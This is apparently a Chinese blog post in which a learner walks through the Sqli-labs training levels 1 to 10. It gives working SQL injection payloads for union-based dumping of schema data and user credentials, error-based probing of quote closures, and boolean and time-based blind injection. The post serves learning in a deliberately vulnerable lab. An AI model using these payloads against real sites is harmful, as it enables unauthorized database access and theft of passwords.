最近学习一下sql注入,领教一下Sqli-labs的魅力。
Sqli-labs下载
Less-1
GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入)
打开界面:
尝试?id=1
:
闭合符号一般是'
,"
,或无闭合符号
或')
,")
;注释符号为--+
。
尝试?id=1'
:
很明显单引号闭合,再?id=1'--+
注释掉后面的:
接下来就要判断一下列数?id=1' order by 4--+
,发现
一共三列,然后进行联合查询?id=0' union select 1,2,3--+
,这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来
在2,3的位置我们便可插入我们想用的语句了,接下来要做的就是报数据表
在此之前,我们要知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
然后进行爆字段?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
接下来把用户名和密码全爆出来?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
(其中0x3a
是用来区分用户名和密码,不至于混淆)
Less-2
GET-Error based-Intiger based(基于错误的GET整型注入)
源代码发现
根据Less-1可知,一共三列然后?id=0 union select 1,database(),user()
就能得出当前数据库名和当前用户名
Less-3
GET-Error based -Single quotes with twist-string(基于错误的GET单引号变形字符型注入)
先尝试?id=1'
可以知道应该是单引号和括号的闭合?id=1')--+
得
Less-4
GET-Error based-Double Quotes-String(基于错误的GET双引号字符型注入)
尝试?id=1'
发现没有报错,接着尝试一下?id=1"
发现
发现是双引号和括号的闭合,于是?id=1")--+
就可以了
后面的步骤与Less-1一样就可以了。
Less-5
GET-Double Injection-Single Quotes-String(双注入GET单引号字符型注入)
尝试?id=1'
,出现
可以判断出是单引号闭合。
Less-6
GET-Double Injection-Double Quotes-String(双注入GET双引号字符型注入)
尝试?id=1"
,出现
可以判断出是双引号闭合。
Less-7
GET-Dump into outfile-String(导出文件GET字符型注入)
尝试?id=1'
,出现报错
继续尝试?id=1'--+
,发现没有用。于是换一种闭合方式试一下?id=1' or '1'='1
Less-8
GET-Blind-Boolian Based-Single Quotes(布尔型单引号GET盲注)
尝试?id=1'
,发现没有报错,页面也没有返回东西,是bool盲注。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
构造语句?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) #
尝试一下
Less-9
GET-Blind-Time based-Single Quotes(基于时间的GET单引号盲注)
无论尝试什么,页面都没发生变化,是时间盲注。
尝试?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#
,页面过了一会响应,判断闭合方式为单引号。
Less-10
GET-Blind-Time based-double quotes(基于时间的双引号盲注)
上一个题目中的单引号改为双引号即可。。。
小结
上面的题型大概分4种
1.联合查询注入
2.报错注入
3.bool盲注
4.时间盲注
每种题型也有自己独特的解法:
1.对于联合查询注入,可以利用Union,直接select出你想要的信息
2.对于报错注入,可以很快的找到引号闭合方式,使用特定的函数使其报错,得到信息
3.对于bool盲注,没有回显,但是可以辨别出是ture还是fasle
4.对于时间盲注,和bool盲注异曲同工,但是连回显都没有了,所以需要根据页面响应时间来判断是ture or false
另:bool盲注以及时间盲注可以写脚本来解决,这个还需后期学习。